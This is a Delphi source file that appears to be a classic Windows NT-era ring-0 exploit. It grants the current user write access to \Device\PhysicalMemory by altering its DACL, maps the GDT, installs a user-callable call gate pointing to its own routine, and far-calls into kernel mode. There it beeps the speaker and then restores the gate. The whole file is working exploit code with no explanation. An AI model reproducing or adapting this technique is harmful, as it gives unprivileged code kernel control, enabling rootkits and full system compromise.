program ring0;

uses
  Windows, NewAclAPI, NewAccCtrl;

type
  TFarCall = packed record
    Offset: DWORD;
    Selector: Word;
  end;
  TGDTInfo = packed record
    Limit: Word;
    Base: DWORD;
  end;
  PUnicodeString = ^TUnicodeString;
  TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: Pointer;
  end;
  PObjectAttributes = ^TObjectAttributes;
  TObjectAttributes = packed record
    Length: DWORD;
    RootDirectory: THandle;
    ObjectName: PUnicodeString;
    Attributes: DWORD;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
  end;
  PGateDescriptor = ^TGateDescriptor;
  TGateDescriptor = packed record
    OffsetLo: Word;
    Selector: Word;
    Attributes: Word;
    OffsetHi: Word;
  end;

  function NtOpenSection(SectionHandle: PHandle; AccessMask: DWORD;
    ObjectAttributes: PObjectAttributes): DWORD; stdcall; external 'NTDLL.DLL';
  procedure RtlInitUnicodeString(DestinationString: PUnicodeString;
    SourceString: PWideChar); stdcall; external 'NTDLL.DLL';

const
  OBJ_CASE_INSENSITIVE = $00000040;
  OBJ_KERNEL_HANDLE = $00000200;

procedure _Ring0; 
asm
  cli
  pushad
  mov bx,100
  mov al,0b6h
  out 43h,al
  mov dx,0012h
  mov ax,34dch
  div bx
  out 42h,al
  mov al,ah
  out 42h,al
  in al,61h
  mov ah,al
  or al,03h
  out 61h,al
  mov ecx,$12345678
@@:push eax
   inc eax
   dec eax
   pop eax
   loop @@
  mov al,ah
  out 61h,al
  popad
  sti
  retf
end;

function QuasiMmGetPhysicalAddress(VirtualAddress: THandle; var Offset: DWORD): DWORD;
begin
  Offset := VirtualAddress and $FFF;
  if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
    Result := VirtualAddress and $1ffff000 else Result := VirtualAddress and $fff000;
end;

function OpenPhysicalMemory: THandle;
const
  DeviceName: PWideChar = '\Device\PhysicalMemory';
var
  PhysMemString: TUnicodeString;
  attributes: TObjectAttributes;
  OldAcl,NewAcl: PACL;
  SD: PSECURITY_DESCRIPTOR;
  Access: EXPLICIT_ACCESS;
  Hprocess:dword;
begin
  RtlInitUnicodeString(@PhysMemString,DeviceName);
  with attributes do
  begin
    Length := SizeOf(TObjectAttributes);
    RootDirectory := 0;
    Attributes := OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE;
    ObjectName := @PhysMemString;
    SecurityDescriptor := nil;
    SecurityQualityOfService := nil;
  end;
  Hprocess:=GetCurrentProcess;
  NtOpenSection(@Result,READ_CONTROL,@attributes);
  DuplicateHandle(Hprocess,Result,Hprocess,@Result,READ_CONTROL or WRITE_DAC,true,0);
  GetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,@OldAcl,nil,SD);
  with Access do
  begin
    grfAccessPermissions := SECTION_MAP_READ or SECTION_MAP_WRITE;
    grfAccessMode := GRANT_ACCESS;
    grfInheritance := NO_INHERITANCE;
    Trustee.pMultipleTrustee := nil;
    Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
    Trustee.TrusteeForm := TRUSTEE_IS_NAME;
    Trustee.TrusteeType := TRUSTEE_IS_USER;
    Trustee.ptstrName := 'CURRENT_USER';
  end;
  SetEntriesInAcl(1,@Access,OldAcl,NewAcl);
  SetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,NewAcl,nil);
  CloseHandle(Result);
  NtOpenSection(@Result,SECTION_MAP_READ,@attributes);
  DuplicateHandle(Hprocess,Result,Hprocess,@Result,SECTION_MAP_READ or SECTION_MAP_WRITE,true,0);
  LocalFree(DWORD(NewAcl));
  LocalFree(DWORD(SD));
end;

var
  PhysMem: THandle;
  gdt: TGDTInfo;
  ptrGDT,Ring0Proc: Pointer;
  CurrentGate: PGateDescriptor;
  OldGate,NewGate: TGateDescriptor;
  offset,base_address: DWORD;
  FarCall: TFarCall;
begin
  PhysMem := OpenPhysicalMemory;
  Ring0Proc := @_Ring0;
  asm sgdt[gdt] end;
  base_address := QuasiMmGetPhysicalAddress(gdt.Base,offset);
  ptrGDT := MapViewOfFile(PhysMem,FILE_MAP_ALL_ACCESS,0,base_address,gdt.limit+offset);
  CurrentGate := PGateDescriptor(DWORD(ptrGDT)+offset);
  repeat
    CurrentGate := PGateDescriptor(DWORD(CurrentGate)+SizeOf(TGateDescriptor));
    if (CurrentGate.Attributes and $FF00) = 0 then
    begin
      OldGate:=CurrentGate^;
      CurrentGate.Selector := 8; // ring0 code selector
      CurrentGate.OffsetLo := DWORD(Ring0Proc);
      CurrentGate.OffsetHi := DWORD(Ring0Proc) shr 16;
      CurrentGate.Attributes := $EC00;
      FarCall.Offset:=0;
      FarCall.Selector:=DWORD(CurrentGate)-DWORD(ptrGDT)-offset;
      Break;
    end;
  until DWORD(CurrentGate) >= DWORD(ptrGDT)+gdt.limit+offset;
  FlushViewOfFile(CurrentGate,SizeOf(TGateDescriptor));
  asm
    db $0ff,$01d
    dd offset FarCall
  end;
  CurrentGate^ := OldGate;
  UnmapViewOfFile(ptrGDT);
  CloseHandle(PhysMem);
  MessageBoxA(0,'\m/','RING-0',MB_OK);
end.